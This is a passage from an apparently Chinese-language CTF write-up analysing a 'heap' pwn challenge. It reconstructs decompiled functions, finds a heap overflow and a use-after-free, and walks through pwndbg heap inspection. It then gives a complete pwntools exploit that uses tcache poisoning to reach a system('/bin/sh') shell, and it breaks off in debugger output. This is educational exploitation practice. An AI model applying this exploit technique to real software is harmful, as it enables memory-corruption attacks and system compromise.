循环的开始部分很引人注目,判断 <code>buff + 16</code> 处 QWORD 大小的值是否非 0 ,如果非 0 就执行 <code>system("/bin/sh");</code> ,那基本上可以确定后面的目标是通过某种方式修改 <code>buff + 16</code> 处的值使其不为 0 ,就可以拿到 shell 。循环体中剩下的部分就是根据输入值的不同去调用对应的函数完成相关操作,我们也可以注意到 case 3 对应的 print 操作确实是没有实现的。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> input; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v6 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> init();</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">2</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (*(_QWORD *)(buff + <span class="number">16</span>) )</span><br><span class="line"> system(<span class="string">"/bin/sh"</span>);</span><br><span class="line"> fwrite(<span class="string">"\n1)create\n2)write\n3)print\n4)del\n5)exit\n=> "</span>, <span class="number">1uLL</span>, <span class="number">0x2A</span>uLL, <span class="built_in">stdout</span>);</span><br><span class="line"> input = <span class="number">10</span>;</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &input);</span><br><span class="line"> <span class="keyword">if</span> (input >= <span class="number">0</span> && input <= <span class="number">5</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">switch</span> (input)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> create_node();</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> write_node();</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"not implemented"</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"> del_node();</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v6;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"make wise choice!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v6;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="init- 函数分析"><a href="#init- 函数分析" class="headerlink" title="init 函数分析"></a>init 函数分析 </h4><p> 程序在进入 while 循环之前还调用了一次 init 函数,先来看一下它做了哪些操作。首先是执行了常见的 <code>setvbuf</code> ,通过将第三个参数设置为 _IONBF 从而关闭输出缓冲,使得输出的内容都可以立即显示到屏幕上。接着为 nodes 和 buffer 初始化了内存,大小都是 0x50 。在执行到这里之前并没有看到这两个变量的定义,双击变量看到它们都在 .bss 段,因此都是全局变量。之后的内容就比较有意思,可以看到 buff 就是一个指向 buffer 的指针,也是定义在 .bss 段,然后程序直接输出了 buff 指针的值,也就是 buffer 的地址。那前面我们要修改 <code>buff + 16</code> 地址处的值,也就是修改 buffer 的第 16 个字节的内容,程序给我们提示了 buffer 的地址,更加印证了我们需要去修改 buffer 缓冲区。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">init</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line"> <span class="built_in">memset</span>(&nodes, <span class="number">0</span>, <span class="number">0x50</span>uLL);</span><br><span class="line"> <span class="built_in">memset</span>(buffer, <span class="number">0</span>, <span class="keyword">sizeof</span>(buffer));</span><br><span class="line"> buff = (__int64)buffer;</span><br><span class="line"> buffer[<span class="number">1</span>] = <span class="string">'A'</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">fprintf</span>(<span class="built_in">stdout</span>, <span class="string">"hint: %p\n"</span>, (<span class="type">const</span> <span class="type">void</span> *)buff);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="create-node- 函数分析和结构体识别"><a href="#create-node- 函数分析和结构体识别" class="headerlink" title="create_node 函数分析和结构体识别"></a>create_node 函数分析和结构体识别 </h4><p> 接着逐个查看 <code>create_node</code> 、<code>write_node</code> 和 <code>del_node</code> 三个函数。<code>create_node</code> 函数的逻辑是获取一个输入 size ,然后输出一个 node index ,而 size 的值被限定在了 0 到 1024 之间。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">create_node</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> size; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [rsp+4h] [rbp-Ch]</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nSize: "</span>);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &size);</span><br><span class="line"> <span class="keyword">if</span> (size > <span class="number">0</span> && size <= <span class="number">1024</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; (<span class="type">int</span>)i <= <span class="number">8</span>; ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (dword_40AC[<span class="number">4</span> * i] != <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> *((_QWORD *)&nodes + <span class="number">2</span> * (<span class="type">int</span>)i) = <span class="built_in">malloc</span>(size);</span><br><span class="line"> dword_40AC[<span class="number">4</span> * i] = <span class="number">1</span>;</span><br><span class="line"> *((_DWORD *)&unk_40A8 + <span class="number">4</span> * (<span class="type">int</span>)i) = size;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stdout</span>, <span class="string">"node index: %d\n"</span>, i);</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"nodes too much!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"size illegal!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这段伪代码看起来不是那么清晰,代码里出现了 dword_40AC 和 unk_40A8 ,这两个是什么东西?双击追踪到它所在的 .bss 段,看到它们两个紧跟在 nodes 后面。其实从前面的分析,已经不难猜测程序含有一个 node 结构体,而 nodes 是一个定义为全局变量的 node 数组。前面在 init 函数中,初始化 nodes 时指定的大小是 0x50 ,也就是 80 个字节,那这里的 nodes 怎么会只有 8 个字节?那基本可以推测 dword_40AC 和 unk_40A8 的内存空间也是 nodes 的一部分了,只是因为被直接引用所以被 IDA Pro 也加了标签。算一下它们加起来有多大,<code>8 + 4 + 0x21 * 4 = 144</code> ,诶怎么不是 80 个字节?</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:00000000000040A0 public nodes</span><br><span class="line">.bss:00000000000040A0 nodes db ? ; ; DATA XREF: create_node+AA↑o</span><br><span class="line">.bss:00000000000040A0 ; write_node+B7↑o ...</span><br><span class="line">.bss:00000000000040A1 db ? ;</span><br><span class="line">.bss:00000000000040A2 db ? ;</span><br><span class="line">.bss:00000000000040A3 db ? ;</span><br><span class="line">.bss:00000000000040A4 db ? ;</span><br><span class="line">.bss:00000000000040A5 db ? ;</span><br><span class="line">.bss:00000000000040A6 db ? ;</span><br><span class="line">.bss:00000000000040A7 db ? ;</span><br><span class="line">.bss:00000000000040A8 unk_40A8 db ? ; ; DATA XREF: create_node+E0↑o</span><br><span class="line">.bss:00000000000040A8 ; del_node+A1↑o</span><br><span class="line">.bss:00000000000040A9 db ? ;</span><br><span class="line">.bss:00000000000040AA db ? ;</span><br><span class="line">.bss:00000000000040AB db ? ;</span><br><span class="line">.bss:00000000000040AC ; _DWORD dword_40AC[33]</span><br><span class="line">.bss:00000000000040AC dword_40AC dd 21h dup(?) ; DATA XREF: create_node+79↑o</span><br><span class="line">.bss:00000000000040AC ; create_node+C1↑o ...</span><br></pre></td></tr></table></figure><p>不着急,再看代码。首先 for 循环以 <code>i</code> 作为循环变量从 0 到 8 进行遍历,共 9 个值,接着一个 if 判断 <code>dword_40AC[4 * i]</code> 是否为 1 ,不为 1 则继续向下执行并将其设置为 1 ,如果遍历完 9 个变量没有找到 <code>dword_40AC[4 * i]</code> 不为 1 的,则输出 “nodes too much!” 然后退出。那么不难猜测出 <code>dword_40AC[4 * i]</code> 处是 node 结构体中表示节点是否已被使用的一个变量,且其大小是 一个 DWORD,也就是 4 个字节。根据编程习惯我们假定它的声明为 <code>int used</code> 。从这部分的分析也可以确定 nodes 数组最多可以存储 9 个节点,每隔 4 个 DWORD 长度就有一个 <code>used</code> 变量,那么基本可以推测出每一个 node 结构体的大小是 <code>4 * 4 = 16</code> 个字节。</p><p>再看 <code>*((_QWORD *)&nodes + 2 * (int)i) = malloc(size);</code> 这行,申请一块 size 大小的内存,存储的是申请到内存的地址,可以推测处这个是用来存储 node 的 content 的指针,大小为一个 QWORD, 也正是 64 位系统上指针的字长,根据编程习惯我们假定它的声明是 <code>void *content_ptr</code> 。当变量 <code>i</code> 为 0 时,它所指向的就是 nodes 的起始地址,那么它应该是 node 结构体的第一个成员变量。每隔 2 个 QWORD 长度出现一次,验证了前面计算的 node 结构体的大小 16 字节。再看 <code>*((_DWORD *)&unk_40A8 + 4 * (int)i) = size;</code> 这行,把 size 的值也保存到结构体中,大小是一个 DWORD ,同样每隔 16 个字节出现一次,假定它的声明是 <code>unsigned int size</code> 。</p><p>我们来看当 <code>i</code> 为 0 的情况,这时应该是遍历到第一个 node 结构体,<code>content_ptr</code> 成员变量相对于 nodes 数组的偏移是 0 ,那显然它是 node 结构体的第一个成员变量,同样地,<code>size</code> 成员变量相对于 <code>unk_40A8</code> 的偏移是 0 ,相对于 nodes 数组的偏移是 8 ;<code>used</code> 成员变量相对于 <code>dword_40AC</code> 的偏移是 0 ,相对于 nodes 数组的偏移是 12 ,那么 node 结构体的三个成员变量的顺序也就确定了,我们可以定义出 node 结构体。再次计算确认一下,node 结构体的大小 <code>8 + 4 + 4</code> 刚好是 16 个字节,与前面的推测一致。nodes 数组的大小 <code>16 * 9 = 144</code> 也与前面的计算一致,但为什么在 init 函数中只初始化了前 80 个字节我们不得而知,可能是写错了,也可能是别有用意。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">node</span> {</span></span><br><span class="line"><span class="type">void</span> *content_ptr;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> size;</span><br><span class="line"><span class="type">int</span> used;</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>完成 node 结构体和 nodes 数组的定义后,重新按 F5 进行反编译,<code>create_node</code> 函数的结构就就变得很清晰了。先在 nodes 数组的 9 个元素中寻找一个没有被使用的节点,为其申请一块 size 大小的堆块,将 size 值保存并置 used 位为 1 。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">create_node</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> size; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [rsp+4h] [rbp-Ch]</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nSize: "</span>);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &size);</span><br><span class="line"> <span class="keyword">if</span> (size > <span class="number">0</span> && size <= <span class="number">1024</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; (<span class="type">int</span>)i <= <span class="number">8</span>; ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (nodes[i].used != <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> nodes[i].content_ptr = <span class="built_in">malloc</span>(size);</span><br><span class="line"> nodes[i].used = <span class="number">1</span>;</span><br><span class="line"> nodes[i].size = size;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stdout</span>, <span class="string">"node index: %d\n"</span>, i);</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"nodes too much!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"size illegal!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="write-node- 函数分析"><a href="#write-node- 函数分析" class="headerlink" title="write_node 函数分析"></a>write_node 函数分析 </h4><p> 接着再看 <code>write_node</code> 函数,读入一个 index,然后判断其值是否在 0 到 9 之间并且节点的 used 被置位,注意这个范围,包含 9,总共 10 个,而前面 <code>create_node</code> 函数在索引时是 9 个,出现了不一致,但是同时这个判断中还含有对 <code>used</code> 成员变量的检查,可能会增加利用难度。接着读入一个 size ,并根据 size 大小读入 content ,诶很有意思这个 size 是我自己输入的,前面创建节点的时候已经指定了一个 size ,并且 <code>content_ptr</code> 指针所指向的堆块大小是根据我创建时指定的 size 来分配的,那显然这俩 size 又出现了不一致,这不是就有了一个堆溢出了嘛,而且溢出多少我自己说了算。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">write_node</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> index; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> size; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nIndex: "</span>);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &index);</span><br><span class="line"> <span class="keyword">if</span> (index >= <span class="number">0</span> && index <= <span class="number">9</span> && nodes[index].used )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nSize: "</span>);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%u"</span>, &size);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nContent: "</span>);</span><br><span class="line"> read(<span class="number">0</span>, nodes[index].content_ptr, size);</span><br><span class="line"> fflush(<span class="built_in">stdin</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"index illegal!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="del-node- 函数分析"><a href="#del-node- 函数分析" class="headerlink" title="del_node 函数分析"></a>del_node 函数分析 </h4><p> 最后再来看 <code>del_node</code> 函数,首先检查的 index 范围还是一个越界,然后释放掉了 <code>content_ptr</code> 指针所指向的堆块,并且将 <code>size</code> 和 <code>used</code> 成员变量都置 0 ,但是 <code>content_ptr</code> 指针并没有置 0 ,那么它还是指向已经被释放掉的 content 堆块的,此处存在 UAF(Use After Free) 利用。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">del_node</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> index; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"\nIndex: "</span>);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &index);</span><br><span class="line"> <span class="keyword">if</span> (index >= <span class="number">0</span> && index <= <span class="number">9</span> && nodes[index].used )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">free</span>(nodes[index].content_ptr);</span><br><span class="line"> nodes[index].size = <span class="number">0</span>;</span><br><span class="line"> nodes[index].used = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"index illegal!"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v2;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="调试和利用漏洞获取 -shell"><a href="# 调试和利用漏洞获取 -shell" class="headerlink" title="调试和利用漏洞获取 shell"></a>调试和利用漏洞获取 shell</h3><p>先来总结一下通过上面分析得到的所有条件:</p><ol><li>程序主动泄露了 <code>buffer</code> 的地址</li><li><code>write_node</code> 函数存在堆溢出漏洞,可以溢出任意大小</li><li><code>del_node</code> 函数在释放 node 时没有将 <code>content_ptr</code> 置 NULL ,可以实现 Use After Free</li><li><code>write_node</code> 和 <code>del_node</code> 函数都存在下标越界问题,但可能较难利用,因为还存在对 <code>used</code> 成员变量的检查</li><li>当 <code>buffer</code> 的第 16 个字节不为 0 值时,可以获得 shell</li><li>程序使用的 libc 版本为 2.31,加入了 tcache 机制,释放的堆块会进入 tcachebin 而不是 fastbin</li></ol><p>通过这些条件,大致可以产生这样一个利用思路:创建 3 个 node ,即申请 3 个堆块(称为 0、1、2 号块),依次释放掉 1 号堆块和 2 号堆块,利用 0 号块的溢出将已经被释放掉的 1 号块的 fd 指针由原先的 2 号堆块地址修改为 <code>buffer + 16</code> 的地址,然后依次再申请两个堆块,这样第一次申请到的是先前释放掉的 2 号堆块,第二次申请到的则是 <code>buffer + 16</code> 处的缓冲区。利用 <code>write_node</code> 函数向缓冲区开头写入任意内容,在下次 while 循环时,<code>if (*(_QWORD *)(buff + 16) )</code> 判断通过,程序直接执行 <code>system("/bin/sh");</code> 返回 shell。</p><p>先创建 3 个大小为 16 的堆块试一下,可以看到,从 Top Chunk 分割出来了 3 个小堆块,size 显示为 21(64 位系统中能够划分的最小 chunk 大小为 0x20 字节,其中 chunk size 的最低三位由低到高存储的依次是 PREV_INUSE、IS_MMAPPED 和 NON_MAIN_ARENA 信息,这里它们的值分别是 1、0、0 ,所以 size 的最低位是 1 ,并不是说这块 chunk 的大小是 0x21 字节)。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg> r</span><br><span class="line">Starting program: /home/nuke/work/ctf/nese/monthly_7/pwn1/heap </span><br><span class="line">hint: 0x555555558040</span><br><span class="line"></span><br><span class="line">1)create</span><br><span class="line">2)write</span><br><span class="line">3)print</span><br><span class="line">4)del</span><br><span class="line">5)exit</span><br><span class="line">=> 1</span><br><span class="line"></span><br><span class="line">Size: </span><br><span class="line">16</span><br><span class="line">node index: 0</span><br><span class="line">...</span><br><span class="line">=> 1</span><br><span class="line"></span><br><span class="line">Size: </span><br><span class="line">16</span><br><span class="line">node index: 1</span><br><span class="line">...</span><br><span class="line">=> 1</span><br><span class="line"></span><br><span class="line">Size: </span><br><span class="line">16</span><br><span class="line">node index: 2</span><br><span class="line">...</span><br><span class="line">=> ^C</span><br><span class="line"></span><br><span class="line">pwndbg> heap</span><br><span class="line">...</span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x5555555596a0</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x5555555596c0</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x5555555596e0</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Top chunk | PREV_INUSE</span><br><span class="line">Addr: 0x555555559700</span><br><span class="line">Size: 0x20901</span><br><span class="line"></span><br><span class="line">pwndbg> x/20gx 0x5555555596a0</span><br><span class="line">0x5555555596a0:0x00000000000000000x0000000000000021 <--- | prev_size | size |</span><br><span class="line">0x5555555596b0:0x00000000000000000x0000000000000000 <--- | user data |</span><br><span class="line">0x5555555596c0:0x00000000000000000x0000000000000021</span><br><span class="line">0x5555555596d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x5555555596e0:0x00000000000000000x0000000000000021</span><br><span class="line">0x5555555596f0:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555559700:0x00000000000000000x0000000000020901</span><br><span class="line">0x555555559710:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555559720:0x00000000000000000x0000000000000000</span><br><span class="line">0x555555559730:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>接着,释放掉后两个堆块,再次查看堆的情况。可以看到,释放的堆块并没有像在 libc 2.23 中一样回收到了 fastbin,而是放进了 tcachebin 中,但其仍然是由 fd 指针链接到一起的。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg> c</span><br><span class="line">Continuing.</span><br><span class="line">4</span><br><span class="line"></span><br><span class="line">Index: </span><br><span class="line">1</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line">=> 4</span><br><span class="line"></span><br><span class="line">Index: </span><br><span class="line">2</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line">=> ^C</span><br><span class="line"></span><br><span class="line">pwndbg> heap</span><br><span class="line">...</span><br><span class="line">Allocated chunk | PREV_INUSE</span><br><span class="line">Addr: 0x5555555596a0</span><br><span class="line">Size: 0x21</span><br><span class="line"></span><br><span class="line">Free chunk (tcache) | PREV_INUSE</span><br><span class="line">Addr: 0x5555555596c0</span><br><span class="line">Size: 0x21</span><br><span class="line">fd: 0x00</span><br><span class="line"></span><br><span class="line">Free chunk (tcache) | PREV_INUSE</span><br><span class="line">Addr: 0x5555555596e0</span><br><span class="line">Size: 0x21</span><br><span class="line">fd: 0x5555555596d0</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">pwndbg> bins</span><br><span class="line">tcachebins</span><br><span class="line">0x20 [2]: 0x5555555596f0 —▸ 0x5555555596d0 ◂— 0x0</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x0</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">pwndbg> x/12gx 0x5555555596a0</span><br><span class="line">0x5555555596a0:0x00000000000000000x0000000000000021 <--- | prev_size | size |</span><br><span class="line">0x5555555596b0:0x00000000000000000x0000000000000000 <--- | user data |</span><br><span class="line">0x5555555596c0:0x00000000000000000x0000000000000021 <--- | prev_size | size |</span><br><span class="line">0x5555555596d0:0x00000000000000000x0000555555559010 <--- | fd | bk |</span><br><span class="line">0x5555555596e0:0x00000000000000000x0000000000000021 <--- | prev_size | size |</span><br><span class="line">0x5555555596f0:0x00005555555596d00x0000555555559010 <--- | fd | bk |</span><br></pre></td></tr></table></figure><p>接着再创建与刚删掉的堆块大小一样的两个堆块,可以看到,刚刚的两个堆块又回来了。(拿来吧你)</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg> c</span><br><span class="line">Continuing.</span><br><span class="line">1</span><br><span class="line"></span><br><span class="line">Size: </span><br><span class="line">16</span><br><span class="line">node index: 1</span><br><span class="line">...</span><br><span class="line">=> 1</span><br><span class="line"></span><br><span class="line">Size: </span><br><span class="line">16</span><br><span class="line">node index: 2</span><br><span class="line">...</span><br><span class="line">=> ^C</span><br><span class="line"></span><br><span class="line">pwndbg> tcachebins</span><br><span class="line">tcachebins</span><br><span class="line">empty</span><br><span class="line"></span><br><span class="line">pwndbg> x/gx (void *)&nodes+16</span><br><span class="line">0x5555555580b0 <nodes+16>:0x00005555555596f0</span><br><span class="line">pwndbg> x/gx (void *)&nodes+16*2</span><br><span class="line">0x5555555580c0 <nodes+32>:0x00005555555596d0</span><br></pre></td></tr></table></figure><p>现在可以编写利用脚本进行利用了,还需要注意的是,我们要修改的是 2 号堆块的 fd 指针,溢出时还会覆盖 1 号堆块的全部内容还有 2 号堆块自身的 size 字段,需要进行填充。利用脚本如下,可以在 while 循环里的 fwrite 函数处下中断,这样每次执行完一个操作后都会停下来,便于观察。</p><figure class="highlight python"><figcaption><span>exploit.py</span></figcaption><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># NeSE 丙组月赛 2021 年 7 月</span></span><br><span class="line"><span class="comment"># 题目:heap</span></span><br><span class="line"><span class="comment"># 作者:ChinaNuke</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">cmd_create</span>(<span class="params">size</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">b'=> '</span>, <span class="string">b'1'</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">b'Size: \n'</span>, <span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">cmd_write</span>(<span class="params">index, size, content</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">b'=> '</span>, <span class="string">b'2'</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">b'Index: \n'</span>, <span class="built_in">str</span>(index).encode())</span><br><span class="line"> p.sendlineafter(<span class="string">b'Size: \n'</span>, <span class="built_in">str</span>(size).encode())</span><br><span class="line"> p.sendlineafter(<span class="string">b'Content: \n'</span>, content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">cmd_del</span>(<span class="params">index</span>):</span><br><span class="line"> p.sendlineafter(<span class="string">b'=> '</span>, <span class="string">b'4'</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">b'Index: \n'</span>, <span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="keyword">not</span> args[<span class="string">'REMOTE'</span>]:</span><br><span class="line"> p = process(<span class="string">'./heap'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> p = remote(<span class="string">'xxx.xxx.xxx.xxx'</span>, xxxxx)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Receive the leaked buffer address</span></span><br><span class="line">p.recvuntil(<span class="string">b'hint: 0x'</span>)</span><br><span class="line">buff_addr = <span class="built_in">int</span>(p.recvuntil(<span class="string">b'\n'</span>, drop=<span class="literal">True</span>), <span class="number">16</span>)</span><br><span class="line">log.info(<span class="string">f'buff_addr: <span class="subst">{buff_addr:#x}</span>'</span>)</span><br><span class="line"></span><br><span class="line">cmd_create(<span class="number">0x10</span>)</span><br><span class="line">cmd_create(<span class="number">0x10</span>)</span><br><span class="line">cmd_create(<span class="number">0x10</span>)</span><br><span class="line">cmd_del(<span class="number">1</span>)</span><br><span class="line">cmd_del(<span class="number">2</span>)</span><br><span class="line"><span class="comment"># Breakpoint on fwrite() function call</span></span><br><span class="line"><span class="comment">#gdb.attach(p, 'b *$rebase(0x16a5)')</span></span><br><span class="line">cmd_write(<span class="number">0</span>, <span class="number">80</span>, <span class="string">b'A'</span>*<span class="number">24</span> + p64(<span class="number">0x21</span>) + <span class="string">b'A'</span>*<span class="number">24</span> + p64(<span class="number">0x21</span>) + p64(buff_addr+<span class="number">16</span>))</span><br><span class="line">cmd_create(<span class="number">0x10</span>)</span><br><span class="line">cmd_create(<span class="number">0x10</span>)</span><br><span class="line">cmd_write(<span class="number">2</span>, <span class="number">8</span>, <span class="string">b'hello'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>可以看到,在写入 payload 造成溢出之后,重新申请堆块之前,tcachebin 中的第二个元素被替换成了 buffer + 16 的地址,这时我们再连续申请两个堆块,那么拿到的后一个堆块就是以 buffer + 16 为地址的堆块。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg> tcachebins</span><br><span class="line">tcachebins</span><br><span class="line">0x20 [2]: 0x555fe286a2f0 —▸ 